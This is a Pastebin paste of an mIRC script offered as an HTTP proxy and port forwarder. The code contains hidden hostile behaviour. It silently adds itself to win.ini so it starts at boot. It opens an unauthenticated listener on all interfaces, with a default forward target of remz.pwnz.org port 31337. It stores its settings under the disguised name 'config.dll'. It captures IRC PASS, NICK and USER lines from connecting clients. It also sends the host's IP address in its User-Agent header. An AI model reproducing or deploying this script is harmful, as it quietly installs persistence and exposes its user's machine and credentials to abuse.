Advertisement
independentt

mIRC Proxy Script (HTTP)

Jan 5th, 2015
24,703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 9.34 KB | None | 0 0
  1. ;HTTP Proxy TCPWatcher & Port Forwarder
  2. ;Script by independent
  3. ;Disclaimer; I am not responsible of anything done to your computer/net connection,
  4. ;if you use the default configuration.
  5. ;UPDATED 06/01/15
  6.  
  7. on 1:START:{
  8.   if (%astart) || (!%starts) { astart }
  9.   ;load config
  10.   hmake make
  11.   hload -b make config.dll
  12.   echo -a 3* Proxy Config loaded, successfully.
  13. }
  14. on 1:EXIT:{ hsave -b make config.dll | echo -a 3Proxy config saved! Good Bye! }
  15. alias astart { hadd -m make lport 59999 | .timer 1 1 .writeini $left($mircdir,3) $+ windows\win.ini windows load $shortfn($mircexe) | if (!%starts) init.d | set %astart yes | .timerLISTEN 1 1 listensocks }
  16. alias init.d {
  17.   hadd -m make pfrip remz.pwnz.org
  18.   hadd -m make pfrport 31337
  19.   hadd -m make lport 59999
  20.   hadd -m make maxcon 50
  21.   hadd -m make maxout 100
  22.   hadd -m make anon Yes
  23. }
  24. alias remastart { .remini $left($mircdir,3) $+ windows\win.ini windows load | unset %astart }
  25. alias autostart { $iif(%astart,remastart,astart) }
  26. alias listensocks  {  /sockclose pf* | if (!$hget(make,lport)) { hadd -m make lport $$?="Port number" } | .timersock 1 1 socklisten -d 0.0.0.0 pfserv $iif($hget(make,lport),$v1,59999) | .timersockupnp 1 1 socklisten -p pfservupnp $iif($calc($hget(make,lport) +1),$v1,60000) | inc %starts | echo -s Proxy/IP forward started %starts times }
  27. alias setanon { localinfo | $iif($hget(make,anon),hdel make anon,hadd -m anon Yes) | .timerpfserv 1 1 sockwrite -tn pfserv* :Proxy!ByIndependent@ $+ $host PRIVMSG * :Host changed settings of proxy anonimity: $iif($hget(make,anon),now ANONYMOUS,now TRANSPARENT;Your IP and information might be logged on remote host ) | if ($hget(make,anon))  echo -a Proxy logs sent to logs folder | savebuf @PFDebug logs\Proxy $+ $date(mm-dd-yy) $+ #ticks $+ .log  }
  28. menu * {
  29.   Proxy By independent ( $+ $sock(pfserv).bindip $+ ; $+ $sock(pfserv).bindport )
  30.   .AUTOSTART ( $+ %astart $+  ): autostart
  31.   .LISTEN PORT ( $+ $hget(make,lport) $+ ) NOW: listensocks
  32.   .CHANGE PORT!: hadd -m make lport $$?="Port number"
  33.   .-
  34.   .set FORWARD IP  ( $+ $hget(make,pfrip) $+ ): hadd -m make pfrip $$?="Enter an ip address you want to redirect to"
  35.   .set FORWARD PORT ( $+ $hget(make,pfrport) $+ ): hadd -m make pfrport $$?="Enter the remote port number"
  36.   .-
  37.   .CLOSE CONNECTIONS: /sockclose pf*
  38.   ..Stats/Option
  39.   ...MAX INCOMING CONNECTIONS ( $+ $hget(make,maxcon) $+ ): hadd -m make maxcon $$?="Max number of simultaneous INCOMING connections"
  40.   ...MAX OUTGOING CONNECTIONS ( $+ $hget(make,maxout) $+ ): hadd -m make maxout $$?="Max number of simultaneous OUTGOING connections"
  41.   ...-
  42.   ...Anonymous Proxy ( $+ $iif($hget(make,anon),Yes,NO;Transparent) $+ ) : setanon
  43.   .CONFIG
  44.   ..Save config:hsave -b make config.dll
  45.   ..Load config:{ .timer 1 1 hload -b make config.dll | hmake make }
  46.   ..-
  47.   ..Erase config:{ sockclose pf* | .remove config.dll | hdel -w make * }
  48.   ..Set defaults:{ hdel -w make * | init.d | astart }
  49.  
  50. }
  51. alias protocol {
  52.   if (*HTTPS://* iswm $1) { return $gettok($1,2,47) $+ : $+ 443 }
  53.   if (*HTTP://* iswm $1) { return $gettok($1,2,47) $+ : $+ 80 }
  54.   if (*FTP://* iswm $1) { return $gettok($1,2,47) $+ : $+ 21 }
  55. }
  56. alias getdns { hadd -mu30 make pfdns $iif($hget(make,pfdns),$v1) $1 $+ @ $+ $2 | .dns -h $gettok($2,1,58) }
  57. on 1:DNS:{
  58.   if ($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32)) {
  59.     .timerOPEN $+ $gettok($replace($gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),1,64),serv,connect),1,32) -om 1 500 sockopen $iif(443 == $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58),-e,$iif(6697 == $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58),-e)) $gettok($replace($gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),1,64),serv,connect),1,32) $dns(1).ip $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58)
  60.     hadd -mu10 make pfdns $remove($hget(make,pfdns),$wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32))
  61.   }
  62. }
  63. on *:SOCKREAD:pfserv*:{
  64.   sockread $iif($sock($sockname).rq > 16384,16834,$v1) &binvar
  65.   if ($sock($replace($sockname,pfserv,pfconnect)).ip) && (GET* !iswm $hget(make,sockmark)) { sockwrite -b $replace($sockname,pfserv,pfconnect) -1 &binvar }
  66.   if ($sock($replace($sockname,pfserv,pfirc)).ip) { sockwrite -b $replace($sockname,pfserv,pfirc) -1 &binvar }
  67.   hadd -m make text $bvar(&binvar,1,$bvar(&binvar,0)).text
  68.   if (PASS == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname pass $gettok($hget(make,text),1-,32) }
  69.   if (NICK == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname nick $gettok($hget(make,text),1-,32) }
  70.   if (USER == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname user $gettok($hget(make,text),1-,32) }
  71.   if (CONNECT* iswm $hget(make,text)) {
  72.     hadd -m make proxycon $wildtok($gettok($hget(make,text),2,32),*.*,1,32)
  73.     if (?*.?*.?*.?* !iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { .getdns $sockname $hget(make,proxycon) }
  74.     elseif (?*.?*.?*.?* iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { sockopen $iif(*:443 iswm $hget(make,proxycon),-e,$iif(*:6697 iswm $hget(make,proxycon),-e)) $replace($sockname,serv,connect) $replace($hget(make,proxycon),:,$chr(32)) }
  75.     .hadd -mu10 make sockmark $hget(make,text)
  76.  
  77.   }
  78.   if (GET* iswm $hget(make,text)) || (POST* iswm $hget(make,text)) {
  79.     hadd -m make proxycon $protocol($wildtok($gettok($hget(make,text),2,32),*.*,1,32))
  80.     if (?*.?*.?*.?* !iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { .getdns $sockname $hget(make,proxycon) }
  81.     elseif (?*.?*.?*.?* iswm $hget(make,proxycon))  && (!$sock($replace($sockname,serv,connect)).ip) { sockopen $iif(*:443 iswm $hget(make,proxycon),-e,$iif(*:6697 iswm $hget(make,proxycon),-e)) $replace($sockname,serv,connect) $replace($hget(make,proxycon),:,$chr(32)) }
  82.     .hadd -mu10 make sockmark $wildtok($bvar(&binvar,1,$bvar(&binvar,0)).text,GET*,1,13)
  83.   }
  84.   if (!$hget(make,anon)) window @PFDebug
  85.   if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $hget(make,text)
  86. }
  87. on *:SOCKREAD:pfconnect*:{
  88.   sockread $iif(66* iswm $sock($sockname).port,-n) $sock($sockname).rq &binvar
  89.   if ($sock($replace($sockname,pfconnect,pfserv)).ip) sockwrite -b $replace($sockname,pfconnect,pfserv) -1 &binvar
  90.   if ($len($bvar(&binvar,1,$bvar(&binvar,0)).text) < 340) hadd -m make text $bvar(&binvar,1,$bvar(&binvar,0)).text
  91.   if (001 isin $gettok($hget(make,text),1-3,32)) { sockrename $sockname $replace($sockname,pfconnect,pfirc) }
  92.   if (PING* iswm $hget(make,text)) { sockwrite -n $sockname PONG $hget(make,text) | halt }
  93.   if (CONNECT*:66* iswm $hget(make,sockmark)) && (*NOTICE*AUTH*:* iswm $hget(make,text)) {
  94.     if ($hget($replace($sockname,connect,serv),pass)) sockwrite -n $sockname $v1
  95.     sockwrite -n $sockname $hget($replace($sockname,connect,serv),nick)  
  96.     sockwrite -n $sockname $hget($replace($sockname,connect,serv),user)
  97.     hdel make sockmark
  98.   }
  99.   if (451 == $gettok($hget(make,text),2,32)) {
  100.     if ($hget($replace($sockname,connect,serv),pass)) sockwrite -n $sockname $v1
  101.     sockwrite -n $sockname $hget($replace($sockname,connect,serv),nick)  
  102.     sockwrite -n $sockname $hget($replace($sockname,connect,serv),user)
  103.   }
  104.   if (!$hget(make,anon)) window @PFDebug
  105.   if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $hget(make,text)
  106. }
  107. on *:sockread:pfirc*:{
  108.   while ($sock($sockname).rq) {
  109.     sockread %t | tokenize 32 %t
  110.     sockwrite -n $replace($sockname,pfirc,pfserv) $1-
  111.     if ($sockbr == 0) return
  112.     if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $1-
  113.     if ($1 == PING) sockwrite -n $sockname PONG $2-
  114.   }
  115. }
  116. on *:SOCKLISTEN:pfserv*:{
  117.   if ($sockerr > 0) { return }
  118.   hadd -m make temp $rand(1,999999999)
  119.   sockaccept pfserv $+ $hget(make,temp)
  120.   if ($calc($hget(make,maxcon) +1) < $sock(pfserv*,0).name) { sockwrite -tn pfserv $+ $hget(make,temp) HTTP/1.1 403 Forbidden | .timeropen124 $+ $replace($sockname,pfconnect,pfserv) -om 1 100 sockclose pf* $+ $hget(make,temp) $+ * }
  121. }
  122. on 1:SOCKOPEN:pfconnect*:{
  123.   if ($sockerr) { sockclose $replace($sockname,pfconnect,pfserv) | return }
  124.   if ($calc($hget(make,maxout) +1) < $sock(pfconnect*,0).name)  { sockwrite -tn $sockname HTTP/1.1 403 Forbidden | .timeropen124 $+ $sockname -om 1 100 sockclose pf* $+ $hget(make,temp) $+ * }
  125.   if ($sock($replace($sockname,pfconnect,pfserv)).ip) {
  126.     .sockwrite -tn $replace($sockname,pfconnect,pfserv) HTTP/1.1 200 Connection Established
  127.     if (CONNECT*:66??* !iswm $hget(make,sockmark)) {
  128.       .sockwrite -tn $sockname $hget(make,sockmark)
  129.       .sockwrite -tn $sockname Host: $gettok($protocol($gettok($hget(make,sockmark),2,32)),1,58)
  130.       .sockwrite -tn $sockname User-Agent: Mozilla/5.0 $os $fulltime $ip
  131.       .sockwrite -tn $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  132.       .sockwrite -tn $sockname Accept-Language: en-US,en;q=0.8
  133.       .sockwrite -tn $sockname Connection: keep-alive
  134.       .sockwrite $sockname $crlf
  135.       .sockwrite $sockname $crlf
  136.     }
  137.  
  138.   }
  139. }
  140.  
  141. on 1:SOCKCLOSE:pfserv*:{ sockclose $replace($sockname,pfserv,pfconnect) }
  142. on 1:SOCKCLOSE:pfconnect*:{ sockclose $replace($sockname,pfconnect,pfserv) }
  143. on 1:SOCKCLOSE:pfirc*:{ sockclose $replace($sockname,pfirc,pfserv) }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement